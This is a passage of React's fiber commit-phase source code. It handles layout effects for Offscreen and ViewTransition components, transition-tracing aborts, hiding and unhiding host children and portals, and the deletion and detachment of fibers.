(dehydrated !== null) {\n            // Register a callback to retry this boundary once the server has sent the result.\n            const retry = retryDehydratedSuspenseBoundary.bind(\n              null,\n              finishedWork,\n            );\n            registerSuspenseInstanceRetry(dehydrated, retry);\n          }\n        }\n      }\n      break;\n    }\n    case OffscreenComponent: {\n      const isModernRoot =\n        disableLegacyMode || (finishedWork.mode & ConcurrentMode) !== NoMode;\n      if (isModernRoot) {\n        const isHidden = finishedWork.memoizedState !== null;\n        const newOffscreenSubtreeIsHidden =\n          isHidden || offscreenSubtreeIsHidden;\n        if (newOffscreenSubtreeIsHidden) {\n          // The Offscreen tree is hidden. Skip over its layout effects.\n        } else {\n          // The Offscreen tree is visible.\n\n          const wasHidden = current !== null && current.memoizedState !== null;\n          const newOffscreenSubtreeWasHidden =\n            wasHidden || offscreenSubtreeWasHidden;\n          const prevOffscreenSubtreeIsHidden = offscreenSubtreeIsHidden;\n          const prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;\n          offscreenSubtreeIsHidden = newOffscreenSubtreeIsHidden;\n          offscreenSubtreeWasHidden = newOffscreenSubtreeWasHidden;\n\n          if (offscreenSubtreeWasHidden && !prevOffscreenSubtreeWasHidden) {\n            // This is the root of a reappearing boundary. As we continue\n            // traversing the layout effects, we must also re-mount layout\n            // effects that were unmounted when the Offscreen subtree was\n            // hidden. So this is a superset of the normal commitLayoutEffects.\n            const includeWorkInProgressEffects =\n              (finishedWork.subtreeFlags & LayoutMask) !== NoFlags;\n            recursivelyTraverseReappearLayoutEffects(\n              finishedRoot,\n              finishedWork,\n              includeWorkInProgressEffects,\n            );\n            if (\n              enableProfilerTimer &&\n              enableProfilerCommitHooks &&\n              enableComponentPerformanceTrack &&\n              (finishedWork.mode & ProfileMode) !== NoMode &&\n              componentEffectStartTime >= 0 &&\n              componentEffectEndTime >= 0 &&\n              componentEffectEndTime - componentEffectStartTime > 0.05\n            ) {\n              logComponentReappeared(\n                finishedWork,\n                componentEffectStartTime,\n                componentEffectEndTime,\n              );\n            }\n          } else {\n            recursivelyTraverseLayoutEffects(\n              finishedRoot,\n              finishedWork,\n              committedLanes,\n            );\n          }\n          offscreenSubtreeIsHidden = prevOffscreenSubtreeIsHidden;\n          offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;\n        }\n      } else {\n        recursivelyTraverseLayoutEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n        );\n      }\n      break;\n    }\n    case ViewTransitionComponent: {\n      if (enableViewTransition) {\n        if (__DEV__) {\n          if (flags & ViewTransitionNamedStatic) {\n            trackNamedViewTransition(finishedWork);\n          }\n        }\n        recursivelyTraverseLayoutEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n        );\n        if (flags & Ref) {\n          safelyAttachRef(finishedWork, finishedWork.return);\n        }\n        break;\n      }\n      break;\n    }\n    case Fragment:\n      if (enableFragmentRefs) {\n        if (flags & Ref) {\n          safelyAttachRef(finishedWork, finishedWork.return);\n        }\n      }\n    // Fallthrough\n    default: {\n      recursivelyTraverseLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n      );\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (finishedWork.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0\n  ) {\n    if (componentEffectSpawnedUpdate || componentEffectDuration > 0.05) {\n      logComponentEffect(\n        finishedWork,\n        componentEffectStartTime,\n        componentEffectEndTime,\n        componentEffectDuration,\n        componentEffectErrors,\n      );\n    }\n    if (\n      // Insertion\n      finishedWork.alternate === null &&\n      finishedWork.return !== null &&\n      finishedWork.return.alternate !== null &&\n      componentEffectEndTime - componentEffectStartTime > 0.05\n    ) {\n      const isHydration = isHydratingParent(\n        finishedWork.return.alternate,\n        finishedWork.return,\n      );\n      if (!isHydration) {\n        logComponentMount(\n          finishedWork,\n          componentEffectStartTime,\n          componentEffectEndTime,\n        );\n      }\n    }\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectErrors(prevEffectErrors);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n}\n\nfunction abortRootTransitions(\n  root: FiberRoot,\n  abort: TransitionAbort,\n  deletedTransitions: Set<Transition>,\n  deletedOffscreenInstance: OffscreenInstance | null,\n  isInDeletedTree: boolean,\n) {\n  if (enableTransitionTracing) {\n    const rootTransitions = root.incompleteTransitions;\n    deletedTransitions.forEach(transition => {\n      if (rootTransitions.has(transition)) {\n        const transitionInstance: TracingMarkerInstance = (rootTransitions.get(\n          transition,\n        ): any);\n        if (transitionInstance.aborts === null) {\n          transitionInstance.aborts = [];\n        }\n        transitionInstance.aborts.push(abort);\n\n        if (deletedOffscreenInstance !== null) {\n          if (\n            transitionInstance.pendingBoundaries !== null &&\n            transitionInstance.pendingBoundaries.has(deletedOffscreenInstance)\n          ) {\n            // $FlowFixMe[incompatible-use] found when upgrading Flow\n            transitionInstance.pendingBoundaries.delete(\n              deletedOffscreenInstance,\n            );\n          }\n        }\n      }\n    });\n  }\n}\n\nfunction abortTracingMarkerTransitions(\n  abortedFiber: Fiber,\n  abort: TransitionAbort,\n  deletedTransitions: Set<Transition>,\n  deletedOffscreenInstance: OffscreenInstance | null,\n  isInDeletedTree: boolean,\n) {\n  if (enableTransitionTracing) {\n    const markerInstance: TracingMarkerInstance = abortedFiber.stateNode;\n    const markerTransitions = markerInstance.transitions;\n    const pendingBoundaries = markerInstance.pendingBoundaries;\n    if (markerTransitions !== null) {\n      // TODO: Refactor this code. Is there a way to move this code to\n      // the deletions phase instead of calculating it here while making sure\n      // complete is called appropriately?\n      deletedTransitions.forEach(transition => {\n        // If one of the transitions on the tracing marker is a transition\n        // that was in an aborted subtree, we will abort that tracing marker\n        if (\n          abortedFiber !== null &&\n          markerTransitions.has(transition) &&\n          (markerInstance.aborts === null ||\n            !markerInstance.aborts.includes(abort))\n        ) {\n          if (markerInstance.transitions !== null) {\n            if (markerInstance.aborts === null) {\n              markerInstance.aborts = [abort];\n              addMarkerIncompleteCallbackToPendingTransition(\n                abortedFiber.memoizedProps.name,\n                markerInstance.transitions,\n                markerInstance.aborts,\n              );\n            } else {\n              markerInstance.aborts.push(abort);\n            }\n\n            // We only want to call onTransitionProgress when the marker hasn't been\n            // deleted\n            if (\n              deletedOffscreenInstance !== null &&\n              !isInDeletedTree &&\n              pendingBoundaries !== null &&\n              pendingBoundaries.has(deletedOffscreenInstance)\n            ) {\n              pendingBoundaries.delete(deletedOffscreenInstance);\n\n              addMarkerProgressCallbackToPendingTransition(\n                abortedFiber.memoizedProps.name,\n                deletedTransitions,\n                pendingBoundaries,\n              );\n            }\n          }\n        }\n      });\n    }\n  }\n}\n\nfunction abortParentMarkerTransitionsForDeletedFiber(\n  abortedFiber: Fiber,\n  abort: TransitionAbort,\n  deletedTransitions: Set<Transition>,\n  deletedOffscreenInstance: OffscreenInstance | null,\n  isInDeletedTree: boolean,\n) {\n  if (enableTransitionTracing) {\n    // Find all pending markers that are waiting on child suspense boundaries in the\n    // aborted subtree and cancels them\n    let fiber: null | Fiber = abortedFiber;\n    while (fiber !== null) {\n      switch (fiber.tag) {\n        case TracingMarkerComponent:\n          abortTracingMarkerTransitions(\n            fiber,\n            abort,\n            deletedTransitions,\n            deletedOffscreenInstance,\n            isInDeletedTree,\n          );\n          break;\n        case HostRoot:\n          const root = fiber.stateNode;\n          abortRootTransitions(\n            root,\n            abort,\n            deletedTransitions,\n            deletedOffscreenInstance,\n            isInDeletedTree,\n          );\n\n          break;\n        default:\n          break;\n      }\n\n      fiber = fiber.return;\n    }\n  }\n}\n\nfunction commitTransitionProgress(offscreenFiber: Fiber) {\n  if (enableTransitionTracing) {\n    // This function adds suspense boundaries to the root\n    // or tracing marker's pendingBoundaries map.\n    // When a suspense boundary goes from a resolved to a fallback\n    // state we add the boundary to the map, and when it goes from\n    // a fallback to a resolved state, we remove the boundary from\n    // the map.\n\n    // We use stateNode on the Offscreen component as a stable object\n    // that doesnt change from render to render. This way we can\n    // distinguish between different Offscreen instances (vs. the same\n    // Offscreen instance with different fibers)\n    const offscreenInstance: OffscreenInstance = offscreenFiber.stateNode;\n\n    let prevState: SuspenseState | null = null;\n    const previousFiber = offscreenFiber.alternate;\n    if (previousFiber !== null && previousFiber.memoizedState !== null) {\n      prevState = previousFiber.memoizedState;\n    }\n    const nextState: SuspenseState | null = offscreenFiber.memoizedState;\n\n    const wasHidden = prevState !== null;\n    const isHidden = nextState !== null;\n\n    const pendingMarkers = offscreenInstance._pendingMarkers;\n    // If there is a name on the suspense boundary, store that in\n    // the pending boundaries.\n    let name = null;\n    const parent = offscreenFiber.return;\n    if (\n      parent !== null &&\n      parent.tag === SuspenseComponent &&\n      parent.memoizedProps.name\n    ) {\n      name = parent.memoizedProps.name;\n    }\n\n    if (!wasHidden && isHidden) {\n      // The suspense boundaries was just hidden. Add the boundary\n      // to the pending boundary set if it's there\n      if (pendingMarkers !== null) {\n        pendingMarkers.forEach(markerInstance => {\n          const pendingBoundaries = markerInstance.pendingBoundaries;\n          const transitions = markerInstance.transitions;\n          const markerName = markerInstance.name;\n          if (\n            pendingBoundaries !== null &&\n            !pendingBoundaries.has(offscreenInstance)\n          ) {\n            pendingBoundaries.set(offscreenInstance, {\n              name,\n            });\n            if (transitions !== null) {\n              if (\n                markerInstance.tag === TransitionTracingMarker &&\n                markerName !== null\n              ) {\n                addMarkerProgressCallbackToPendingTransition(\n                  markerName,\n                  transitions,\n                  pendingBoundaries,\n                );\n              } else if (markerInstance.tag === TransitionRoot) {\n                transitions.forEach(transition => {\n                  addTransitionProgressCallbackToPendingTransition(\n                    transition,\n                    pendingBoundaries,\n                  );\n                });\n              }\n            }\n          }\n        });\n      }\n    } else if (wasHidden && !isHidden) {\n      // The suspense boundary went from hidden to visible. Remove\n      // the boundary from the pending suspense boundaries set\n      // if it's there\n      if (pendingMarkers !== null) {\n        pendingMarkers.forEach(markerInstance => {\n          const pendingBoundaries = markerInstance.pendingBoundaries;\n          const transitions = markerInstance.transitions;\n          const markerName = markerInstance.name;\n          if (\n            pendingBoundaries !== null &&\n            pendingBoundaries.has(offscreenInstance)\n          ) {\n            pendingBoundaries.delete(offscreenInstance);\n            if (transitions !== null) {\n              if (\n                markerInstance.tag === TransitionTracingMarker &&\n                markerName !== null\n              ) {\n                addMarkerProgressCallbackToPendingTransition(\n                  markerName,\n                  transitions,\n                  pendingBoundaries,\n                );\n\n                // If there are no more unresolved suspense boundaries, the interaction\n                // is considered finished\n                if (pendingBoundaries.size === 0) {\n                  if (markerInstance.aborts === null) {\n                    addMarkerCompleteCallbackToPendingTransition(\n                      markerName,\n                      transitions,\n                    );\n                  }\n                  markerInstance.transitions = null;\n                  markerInstance.pendingBoundaries = null;\n                  markerInstance.aborts = null;\n                }\n              } else if (markerInstance.tag === TransitionRoot) {\n                transitions.forEach(transition => {\n                  addTransitionProgressCallbackToPendingTransition(\n                    transition,\n                    pendingBoundaries,\n                  );\n                });\n              }\n            }\n          }\n        });\n      }\n    }\n  }\n}\n\nfunction hideOrUnhideAllChildren(parentFiber: Fiber, isHidden: boolean) {\n  if (!supportsMutation) {\n    return;\n  }\n  // Finds the nearest host component children and updates their visibility\n  // to either hidden or visible.\n  let child = parentFiber.child;\n  while (child !== null) {\n    hideOrUnhideAllChildrenOnFiber(child, isHidden);\n    child = child.sibling;\n  }\n}\n\nfunction hideOrUnhideAllChildrenOnFiber(fiber: Fiber, isHidden: boolean) {\n  if (!supportsMutation) {\n    return;\n  }\n  switch (fiber.tag) {\n    case HostComponent:\n    case HostHoistable: {\n      // Found the nearest host component. Hide it.\n      commitShowHideHostInstance(fiber, isHidden);\n      // Typically, only the nearest host nodes need to be hidden, since that\n      // has the effect of also hiding everything inside of them.\n      //\n      // However, there's a special case for portals, because portals do not\n      // exist in the regular host tree hierarchy; we can't assume that just\n      // because a portal's HostComponent parent in the React tree will also be\n      // a parent in the actual host tree.\n      //\n      // So, if any portals exist within the tree, regardless of how deeply\n      // nested they are, we need to repeat this algorithm for its children.\n      hideOrUnhideNearestPortals(fiber, isHidden);\n      return;\n    }\n    case HostText: {\n      commitShowHideHostTextInstance(fiber, isHidden);\n      return;\n    }\n    case DehydratedFragment: {\n      commitShowHideSuspenseBoundary(fiber, isHidden);\n      return;\n    }\n    case OffscreenComponent:\n    case LegacyHiddenComponent: {\n      const offscreenState: OffscreenState | null = fiber.memoizedState;\n      if (offscreenState !== null) {\n        // Found a nested Offscreen component that is hidden.\n        // Don't search any deeper. This tree should remain hidden.\n      } else {\n        hideOrUnhideAllChildren(fiber, isHidden);\n      }\n      return;\n    }\n    default: {\n      hideOrUnhideAllChildren(fiber, isHidden);\n      return;\n    }\n  }\n}\n\nfunction hideOrUnhideNearestPortals(parentFiber: Fiber, isHidden: boolean) {\n  if (!supportsMutation) {\n    return;\n  }\n  if (parentFiber.subtreeFlags & PortalStatic) {\n    let child = parentFiber.child;\n    while (child !== null) {\n      hideOrUnhideNearestPortalsOnFiber(child, isHidden);\n      child = child.sibling;\n    }\n  }\n}\n\nfunction hideOrUnhideNearestPortalsOnFiber(fiber: Fiber, isHidden: boolean) {\n  if (!supportsMutation) {\n    return;\n  }\n  switch (fiber.tag) {\n    case HostPortal: {\n      // Found a portal. Switch back to the normal hide/unhide algorithm to\n      // toggle the visibility of its children.\n      hideOrUnhideAllChildrenOnFiber(fiber, isHidden);\n      return;\n    }\n    case OffscreenComponent: {\n      const offscreenState: OffscreenState | null = fiber.memoizedState;\n      if (offscreenState !== null) {\n        // Found a nested Offscreen component that is hidden. Don't search any\n        // deeper. This tree should remain hidden.\n      } else {\n        hideOrUnhideNearestPortals(fiber, isHidden);\n      }\n      return;\n    }\n    default: {\n      hideOrUnhideNearestPortals(fiber, isHidden);\n      return;\n    }\n  }\n}\n\nfunction detachFiberMutation(fiber: Fiber) {\n  // Cut off the return pointer to disconnect it from the tree.\n  // This enables us to detect and warn against state updates on an unmounted component.\n  // It also prevents events from bubbling from within disconnected components.\n  //\n  // Ideally, we should also clear the child pointer of the parent alternate to let this\n  // get GC:ed but we don't know which for sure which parent is the current\n  // one so we'll settle for GC:ing the subtree of this child.\n  // This child itself will be GC:ed when the parent updates the next time.\n  //\n  // Note that we can't clear child or sibling pointers yet.\n  // They're needed for passive effects and for findDOMNode.\n  // We defer those fields, and all other cleanup, to the passive phase (see detachFiberAfterEffects).\n  //\n  // Don't reset the alternate yet, either. We need that so we can detach the\n  // alternate's fields in the passive phase. Clearing the return pointer is\n  // sufficient for findDOMNode semantics.\n  const alternate = fiber.alternate;\n  if (alternate !== null) {\n    alternate.return = null;\n  }\n  fiber.return = null;\n}\n\nfunction detachFiberAfterEffects(fiber: Fiber) {\n  const alternate = fiber.alternate;\n  if (alternate !== null) {\n    fiber.alternate = null;\n    detachFiberAfterEffects(alternate);\n  }\n\n  // Clear cyclical Fiber fields. This level alone is designed to roughly\n  // approximate the planned Fiber refactor. In that world, `setState` will be\n  // bound to a special \"instance\" object instead of a Fiber. The Instance\n  // object will not have any of these fields. It will only be connected to\n  // the fiber tree via a single link at the root. So if this level alone is\n  // sufficient to fix memory issues, that bodes well for our plans.\n  fiber.child = null;\n  fiber.deletions = null;\n  fiber.sibling = null;\n\n  // The `stateNode` is cyclical because on host nodes it points to the host\n  // tree, which has its own pointers to children, parents, and siblings.\n  // The other host nodes also point back to fibers, so we should detach that\n  // one, too.\n  if (fiber.tag === HostComponent) {\n    const hostInstance: Instance = fiber.stateNode;\n    if (hostInstance !== null) {\n      detachDeletedInstance(hostInstance);\n    }\n  }\n  fiber.stateNode = null;\n\n  if (__DEV__) {\n    fiber._debugOwner = null;\n  }\n\n  // Theoretically, nothing in here should be necessary, because we already\n  // disconnected the fiber from the tree. So even if something leaks this\n  // particular fiber, it won't leak anything else.\n  fiber.return = null;\n  fiber.dependencies = null;\n  fiber.memoizedProps = null;\n  fiber.memoizedState = null;\n  fiber.pendingProps = null;\n  fiber.stateNode = null;\n  // TODO: Move to `commitPassiveUnmountInsideDeletedTreeOnFiber` instead.\n  fiber.updateQueue = null;\n}\n\n// These are tracked on the stack as we recursively traverse a\n// deleted subtree.\n// TODO: Update these during the whole mutation phase, not just during\n// a deletion.\nlet hostParent: Instance | Container | null = null;\nlet hostParentIsContainer: boolean = false;\n\nfunction commitDeletionEffects(\n  root: FiberRoot,\n  returnFiber: Fiber,\n  deletedFiber: Fiber,\n) {\n  const prevEffectStart = pushComponentEffectStart();\n\n  if (supportsMutation) {\n    // We only have the top Fiber that was deleted but we need to recurse down its\n    // children to find all the terminal nodes.\n\n    // Recursively delete all host nodes from the parent, detach refs, clean\n    // up mounted layout effects, and call componentWillUnmount.\n\n    // We only need to remove the topmost host child in each branch. But then we\n    // still need to keep traversing to unmount effects, refs, and cWU. TODO: We\n    // could split this into two separate traversals functions, where the second\n    // one doesn't include any removeChild logic. This is maybe the same\n    // function as \"disappearLayoutEffects\" (or whatever that turns into after\n    // the layout phase is refactored to use recursion).\n\n    // Before starting, find the nearest host parent on the stack so we know\n    // which instance/container to remove the children from.\n    // TODO: Instead of searching up the fiber return path on every deletion, we\n    // can track the nearest host component on the JS stack as we traverse the\n    // tree during the commit phase. This would make insertions faster, too.\n    let parent: null | Fiber = returnFiber;\n    findParent: while (parent !== null) {\n      switch (parent.tag) {\n        case HostSingleton: {\n          if (supportsSingletons) {\n            if (isSingletonScope(parent.type)) {\n              hostParent = parent.stateNode;\n              hostParentIsContainer = false;\n              break findParent;\n            }\n            break;\n          }\n          // Expected fallthrough when supportsSingletons is false\n        }\n        case HostComponent: {\n          hostParent = parent.stateNode;\n          hostParentIsContainer = false;\n          break findParent;\n        }\n        case HostRoot:\n        case HostPortal: {\n          hostParent = parent.stateNode.containerInfo;\n          hostParentIsContainer = true;\n          break findParent;\n        }\n      }\n      parent = parent.return;\n    }\n    if (hostParent === null) {\n      throw new Error(\n        'Expected to find a host parent. This error is likely caused by ' +\n          'a bug in React. Please file an issue.',\n      );\n    }\n\n    commitDeletionEffectsOnFiber(root, returnFiber, deletedFiber);\n    hostParent = null;\n    hostParentIsContainer = false;\n  } else {\n    // Detach refs and call componentWillUnmount() on the whole subtree.\n    commitDeletionEffectsOnFiber(root, returnFiber, deletedFiber);\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (deletedFiber.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0 &&\n    componentEffectEndTime - componentEffectStartTime > 0.05\n  ) {\n    logComponentUnmount(\n      deletedFiber,\n      componentEffectStartTime,\n      componentEffectEndTime,\n    );\n  }\n  popComponentEffectStart(prevEffectStart);\n\n  detachFiberMutation(deletedFiber);\n}\n\nfunction recursivelyTraverseDeletionEffects(\n  finishedRoot: FiberRoot,\n  nearestMountedAncestor: Fiber,\n  parent: Fiber,\n) {\n  // TODO: Use a static flag to skip trees that don't have unmount effects\n  let child = parent.child;\n  while (child !== null) {\n    commitDeletionEffectsOnFiber(finishedRoot, nearestMountedAncestor, child);\n    child = child.sibling;\n  }\n}\n\nfunction commitDeletionEffectsOnFiber(\n  finishedRoot: FiberRoot,\n  nearestMountedAncestor: Fiber,\n  deletedFiber: Fiber,\n) {\n  // TODO: Delete this Hook once new DevTools ships everywhere. No longer needed.\n  onCommitUnmount(deletedFiber);\n\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n\n  // The cases in this outer switch modify the stack before they traverse\n  // into their subtree. There are simpler cases in the inner switch\n  // that don't modify the stack.\n  switch (deletedFiber.tag) {\n    case HostHoistable: {\n      if (supportsResources) {\n        if (!offscreenSubtreeWasHidden) {\n          safelyDetachRef(deletedFiber, nearestMountedAncestor);\n        }\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n        if (deletedFiber.memoizedState) {\n          releaseResource(deletedFiber.memoizedState);\n        } else if (deletedFiber.stateNode) {\n          unmountHoistable(deletedFiber.stateNode);\n        }\n        break;\n      }\n      // Fall through\n    }\n    case HostSingleton: {\n      if (supportsSingletons) {\n        if (!offscreenSubtreeWasHidden) {\n          safelyDetachRef(deletedFiber, nearestMountedAncestor);\n        }\n\n        const prevHostParent = hostParent;\n        const prevHostParentIsContainer = hostParentIsContainer;\n        if (isSingletonScope(deletedFiber.type)) {\n          hostParent = deletedFiber.stateNode;\n          hostParentIsContainer = false;\n        }\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n\n        // Normally this is called in passive unmount effect phase however with\n        // HostSingleton we warn if you acquire one that is already associated to\n        // a different fiber. To increase our chances of avoiding this, specifically\n        // if you keyed a HostSingleton so there will be a delete followed by a Placement\n        // we treat detach eagerly here\n        commitHostSingletonRelease(deletedFiber);\n\n        hostParent = prevHostParent;\n        hostParentIsContainer = prevHostParentIsContainer;\n\n        break;\n      }\n      // Fall through\n    }\n    case HostComponent: {\n      if (!offscreenSubtreeWasHidden) {\n        safelyDetachRef(deletedFiber, nearestMountedAncestor);\n      }\n      if (\n        enableFragmentRefs &&\n        (deletedFiber.tag === HostComponent ||\n          (enableFragmentRefsTextNodes && deletedFiber.tag === HostText))\n      ) {\n        commitFragmentInstanceDeletionEffects(deletedFiber);\n      }\n      // Intentional fallthrough to next branch\n    }\n    case HostText: {\n      // We only need to remove the nearest host child. Set the host parent\n      // to `null` on the stack to indicate that nested children don't\n      // need to be removed.\n      if (supportsMutation) {\n        const prevHostParent = hostParent;\n        const prevHostParentIsContainer = hostParentIsContainer;\n        hostParent = null;\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n        hostParent = prevHostParent;\n        hostParentIsContainer = prevHostParentIsContainer;\n\n        if (hostParent !== null) {\n          // Now that all the child effects have unmounted, we can remove the\n          // node from the tree.\n          if (hostParentIsContainer) {\n            commitHostRemoveChildFromContainer(\n              deletedFiber,\n              nearestMountedAncestor,\n              ((hostParent: any): Container),\n              (deletedFiber.stateNode: Instance | TextInstance),\n            );\n          } else {\n            commitHostRemoveChild(\n              deletedFiber,\n              nearestMountedAncestor,\n              ((hostParent: any): Instance),\n              (deletedFiber.stateNode: Instance | TextInstance),\n            );\n          }\n        }\n      } else {\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n      }\n      break;\n    }\n    case DehydratedFragment: {\n      if (enableSuspenseCallback) {\n        const hydrationCallbacks = finishedRoot.hydrationCallbacks;\n        if (hydrationCallbacks !== null) {\n          try {\n            const onDeleted = hydrationCallbacks.onDeleted;\n            if (onDeleted) {\n              onDeleted(\n                (deletedFiber.stateNode: SuspenseInstance | ActivityInstance),\n              );\n            }\n          } catch (error) {\n            captureCommitPhaseError(\n              deletedFiber,\n              nearestMountedAncestor,\n              error,\n            );\n          }\n        }\n      }\n\n      // Dehydrated fragments don't have any children\n\n      // Delete the dehydrated suspense boundary and all of its content.\n      if (supportsMutation) {\n        if (hostParent !== null) {\n          if (hostParentIsContainer) {\n            clearSuspenseBoundaryFromContainer(\n              ((hostParent: any): Container),\n              (deletedFiber.stateNode: SuspenseInstance),\n            );\n          } else {\n            clearSuspenseBoundary(\n              ((hostParent: any): Instance),\n              (deletedFiber.stateNode: SuspenseInstance),\n            );\n          }\n        }\n      }\n      break;\n    }\n    case HostPortal: {\n      if (supportsMutation) {\n        // When we go into a portal, it becomes the parent to remove from.\n        const prevHostParent = hostParent;\n        const prevHostParentIsContainer = hostParentIsContainer;\n        hostParent = deletedFiber.stateNode.containerInfo;\n        hostParentIsContainer = true;\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n        hostParent = prevHostParent;\n        hostParentIsContainer = prevHostParentIsContainer;\n      } else {\n        if (supportsPersistence) {\n          commitHostPortalContainerChildren(\n            deletedFiber.stateNode,\n            deletedFiber,\n            createContainerChildSet(),\n          );\n        }\n\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n      }\n      break;\n    }\n    case FunctionComponent:\n    case ForwardRef:\n    case MemoComponent:\n    case SimpleMemoComponent: {\n      // TODO: Use a commitHookInsertionUnmountEffects wrapper to record timings.\n      commitHookEffectListUnmount(\n        HookInsertion,\n        deletedFiber,\n        nearestMountedAncestor,\n      );\n      if (!offscreenSubtreeWasHidden) {\n        commitHookLayoutUnmountEffects(\n          deletedFiber,\n          nearestMountedAncestor,\n          HookLayout,\n        );\n      }\n      recursivelyTraverseDeletionEffects(\n        finishedRoot,\n        nearestMountedAncestor,\n        deletedFiber,\n      );\n      break;\n    }\n    case ClassComponent: {\n      if (!offscreenSubtreeWasHidden) {\n        safelyDetachRef(deletedFiber, nearestMountedAncestor);\n        const instance = deletedFiber.stateNode;\n        if (typeof instance.componentWillUnmount === 'function') {\n          safelyCallComponentWillUnmount(\n            deletedFiber,\n            nearestMountedAncestor,\n            instance,\n          );\n        }\n      }\n      recursivelyTraverseDeletionEffects(\n        finishedRoot,\n        nearestMountedAncestor,\n        deletedFiber,\n      );\n      break;\n    }\n    case ScopeComponent: {\n      if (enableScopeAPI) {\n        if (!offscreenSubtreeWasHidden) {\n          safelyDetachRef(deletedFiber, nearestMountedAncestor);\n        }\n      }\n      recursivelyTraverseDeletionEffects(\n        finishedRoot,\n        nearestMountedAncestor,\n        deletedFiber,\n      );\n      break;\n    }\n    case OffscreenComponent: {\n      if (disableLegacyMode || deletedFiber.mode & ConcurrentMode) {\n        // If this offscreen component is hidden, we already unmounted it. Before\n        // deleting the children, track that it's already unmounted so that we\n        // don't attempt to unmount the effects again.\n        // TODO: If the tree is hidden, in most cases we should be able to skip\n        // over the nested children entirely. An exception is we haven't yet found\n        // the topmost host node to delete, which we already track on the stack.\n        // But the other case is portals, which need to be detached no matter how\n        // deeply they are nested. We should use a subtree flag to track whether a\n        // subtree includes a nested portal.\n        const prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;\n        offscreenSubtreeWasHidden =\n          prevOffscreenSubtreeWasHidden || deletedFiber.memoizedState !== null;\n\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n        offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;\n      } else {\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n      }\n      break;\n    }\n    case ViewTransitionComponent: {\n      if (enableViewTransition) {\n        if (__DEV__) {\n          if (deletedFiber.flags & ViewTransitionNamedStatic) {\n            untrackNamedViewTransition(deletedFiber);\n          }\n        }\n        safelyDetachRef(deletedFiber, nearestMountedAncestor);\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n        break;\n      }\n      // Fallthrough\n    }\n    case Fragment: {\n      if (enableFragmentRefs) {\n        if (!offscreenSubtreeWasHidden) {\n          safelyDetachRef(deletedFiber, nearestMountedAncestor);\n        }\n        recursivelyTraverseDeletionEffects(\n          finishedRoot,\n          nearestMountedAncestor,\n          deletedFiber,\n        );\n        break;\n      }\n      // Fallthrough\n    }\n    default: {\n      recursivelyTraverseDeletionEffects(\n        finishedRoot,\n        nearestMountedAncestor,\n        deletedFiber,\n      );\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (deletedFiber.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0 &&\n    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)\n  ) {\n    logComponentEffect(\n      deletedFiber,\n      componentEffectStartTime,\n      componentEffectEndTime,\n      componentEffectDuration,\n      componentEffectErrors,\n    );\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectErrors(prevEffectErrors);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n}\n\nfunction commitSuspenseCallback(finishedWork: Fiber) {\n  // TODO: Delete this feature. It's not properly covered by DEV features.\n  const newState: SuspenseState | null = finishedWork.memoizedState;\n  if (enableSuspenseCallback && newState !== null) {\n    const suspenseCallback = finishedWork.memoizedProps.suspenseCallback;\n    if (typeof suspenseCallback === 'function') {\n      const retryQueue: RetryQueue | null = (finishedWork.updateQueue: any);\n      if (retryQueue !== null) {\n        suspenseCallback(new Set(retryQueue));\n      }\n    } else if (__DEV__) {\n      if (suspenseCallback !== undefined) {\n        console.error('Unexpected type for suspenseCallback.');\n      }\n    }\n  }\n}\n\nfunction commitActivityHydrationCallbacks(\n  finishedRoot: FiberRoot,\n  finishedWork: Fiber,\n) {\n  if (!supportsHydration) {\n    return;\n  }\n  const newState: ActivityState | null = finishedWork.memoizedState;\n  if (newState === null) {\n    const current = finishedWork.alternate;\n    if (current !== null) {\n      const prevState: ActivityState | null = current.memoizedState;\n      if (prevState !== null) {\n        const activityInstance = prevState.dehydrated;\n        commitHostHydratedActivity(activityInstance, finishedWork);\n        if (enableSuspenseCallback) {\n          try {\n            // TODO: Delete this feature. It's not properly covered by DEV features.\n            const hydrationCallbacks = finishedRoot.hydrationCallbacks;\n            if 